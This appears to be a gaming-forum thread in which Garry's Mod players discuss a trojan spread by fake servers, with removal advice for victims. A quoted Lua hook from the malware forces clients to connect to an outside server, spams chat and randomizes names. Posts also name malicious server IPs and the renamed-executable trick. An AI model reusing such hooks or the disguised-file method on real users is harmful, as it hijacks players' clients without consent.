Don't join NOX or Darkland servers! VIRUS!

[ShaRose]

Yeah, because Jetboom was one of the first lua virus coders for gmod 9, and that this wasn't actually done by Jetboom. Good going.

[chris0132]

[QUOTE=Phenrig]Look at his avatar.[/QUOTE]

Next person who goes down this line of conversation gets banned for join date elitism.

Also I will not tolerate this thread devolving into a flamewar, which it is on the verge of doing. Consider yourselves warned.

[nVidia]

[QUOTE=chris0132]Next person who goes down this line of conversation gets banned for join date elitism.

Also I will not tolerate this thread devolving into a flamewar, which it is on the verge of doing. Consider yourselves warned.[/QUOTE]

Me, warned? :uhoh:

But i didn't do anything. :(

[chris0132]

[QUOTE=nVidia]Me, warned? :uhoh:

But i didn't do anything. :([/QUOTE]

Then you don't have anything to worry about do you?

[nVidia]

[QUOTE=chris0132]Then you don't have anything to worry about do you?[/QUOTE]

Your avatar is staring at me!!! :uhoh:

[GmodMinor]

I just got this Problem 30minutes. I connect to a server for 5 seconds then it connects to a Nox server.

[nVidia]

[QUOTE=GmodMinor]I just got this Problem 30minutes. I connect to a server for 5 seconds then it connects to a Nox server.[/QUOTE]

Then you might wanna check you lua/autorun/client folder

[Slayer3032]

[QUOTE=nVidia]Then you might wanna check you lua/autorun/client folder[/QUOTE]

Yea there is a new server.

72.65.7.189:27015

[Hillo]

[QUOTE=Mr_Minion][url=http://forums.facepunchstudios.com/showthread.php?t=570946]This fellow[/url] got this problem around 5 hours ago. Also, the following question I asked in that thread, but got no real response (unless I'm just incredibly thick and missed the answers). What [i]exactly[/i] does this do? Does it only make you connect to the servers, or does it do something far worse or do people still have no clue yet? See, I'm not brilliant with coding, so if I did actually download Notepad++ and look at the file, then I would probably just be wasting my time. Can anyone provide an answer?[/QUOTE]
[lua]function hi()
if GAMEMODE.Name ~= "Zombie Survival v1.2 Official Dev." then
LocalPlayer():ConCommand("connect 208.122.57.213:27015")
end
RunConsoleCommand("say", "UNBAN AZUISLEET FROM ZS PLOX")
if CurTime() > NextName then
RunConsoleCommand("setinfo","name", tostring(math.random(1,1000000)))
NextName = CurTime() + 0.01
end
end
hook.Add("Think", "HaxHaxHax", hi)[/lua]

It joins to 208.122.57.213:27015, makes you say "UNBAN AZUISLEET FROM ZS PLOX" and makes your name change to random numbers.

:siren: If you get it, you only need to delete the wut.mdl and lol.lua :siren:

[L0LIMB0RED]

[QUOTE=Hillo][lua]function hi()
if GAMEMODE.Name ~= "Zombie Survival v1.2 Official Dev." then
LocalPlayer():ConCommand("connect 208.122.57.213:27015")
end
RunConsoleCommand("say", "UNBAN AZUISLEET FROM ZS PLOX")
if CurTime() > NextName then
RunConsoleCommand("setinfo","name", tostring(math.random(1,1000000)))
NextName = CurTime() + 0.01
end
end
hook.Add("Think", "HaxHaxHax", hi)[/lua]

It joins to 208.122.57.213:27015, makes you say "UNBAN AZUISLEET FROM ZS PLOX" and makes your name change to random numbers.

:siren: If you get it, you only need to delete the wut.mdl and lol.lua :siren:[/QUOTE]Yes, there is no need to delete your garrysmod folder. Just delete those two files.

[somebody101]

Dude this happened to me! Darn you Noxious.net :argh:

[Scoob]

It's not NOX or Darkland it's the FAKE servers.

[Combineguy]

which leads you to the REAL Nox server.

[Mr_Minion]

Another question; is this downloading of .mdl files which aren't .mdl files just limited to GMod, or could you get one from another Valve game, such as Day of Defeat or Team Fortress 2?

[Dlaor]

[QUOTE=Mr_Minion]Another question; is this downloading of .mdl files which aren't .mdl files just limited to GMod, or could you get one from another Valve game, such as Day of Defeat or Team Fortress 2?[/QUOTE]
Every source game uses .mdl files, so if someone in TF2 or DoD links you to a .mdl file, it could be a virus. BUT, those games don't use .lua files, so they can't make you join random servers or change your name to random shit.

[Mr_Minion]

[QUOTE=Dlaor]Every source game uses .mdl files, so if someone in TF2 or DoD links you to a .mdl file, it could be a virus. BUT, those games don't use .lua files, so they can't make you join random servers or change your name to random shit.[/QUOTE]
Yeah, I know they don't use lua files which is good, but could the fake .mdl files you download from the games do something far worse than just create a lua file?

[Dlaor]

[QUOTE=Mr_Minion]Yeah, I know they don't use lua files which is good, but could the fake .mdl files you download from the games do something far worse than just create a lua file?[/QUOTE]
They could get you VAC banned if they change core .dll or .exe files, or they could modify materials so every player is invisible, or they could modify sounds so that every sound is an extreme explosion sound, and much more... so don't trust all .mdl files you download.

[Hemuli]

:rolleye:

He used package.loadlib("wut.mdl") to load the model as an executable, you can't get hacked in any other games by this wormhole.

[Dlaor]

But they can use wut.mdl.exe files when you have file extensions disabled.

[Hemuli]

Dlaor, it's just an exe file renamed to a model file.

[Weißes rose]

I don't play RP anyway

[Missing User]

I'm having this problem right now...every time I try to join a diffrent game or try to make my own game it just redirects me...

[Slayer3032]

[QUOTE=ŽÊ®Ø]I'm having this problem right now...every time I try to join a diffrent game or try to make my own game it just redirects me...[/QUOTE]

Delete the file, wut.mdl and lol.lua

After they are gone you can get on with playing, just make sure you play the correct servers and check their IP's to ones on the servers website or your history list.

[Slob187]

That's true... my friend got hacked too

[Missing User]

[QUOTE=slayer3032]Delete the file, wut.mdl and lol.lua

After they are gone you can get on with playing, just make sure you play the correct servers and check their IP's to ones on the servers website or your history list.[/QUOTE]

Just did that and it fixed the problem, Thanks for all the help guys!

[Blade_Raider]

Darklandservers.com is safe to play on, well the two of ours. As far as I know the following servers are safe on Darkland.
Fortwars
Stranded

This IP 64.182.144.34:27015 (Official sweetbox) isn't an official Darkland server, and it will probably download that EXE to your garrysmod directory.

[phasebot]

[QUOTE=Slob187]That's true... my friend got hacked too[/QUOTE]
In the past, people used to blame things they didn't understand on magic. "One of my cows started bleeding on its neck, there must be some evil spirits around. Did I anger an elf?"

Today, people say it's "hacking" every time something they don't understand happens. "Someone gained access to my account and started spamming FP with it. A hacker must have done it."

[nightmorder]

hmm...i think there is a virus

[b]Edit:[/b]

or no

[Mr_Minion]

So do you think this could possibly get you VAC banned or anything? I mean, you say it's a .exe file and VAC says something like you need to modify the core .dll files to be VAC banned, so it seems like it wouldn't get you banned as it only creates a lua file and not a .dll or anything. Am I correct in assuming this is unlikely to get you banned?

[Prefanatic]

Does anyone have proof of this?

There was another post like this a few months ago. -.-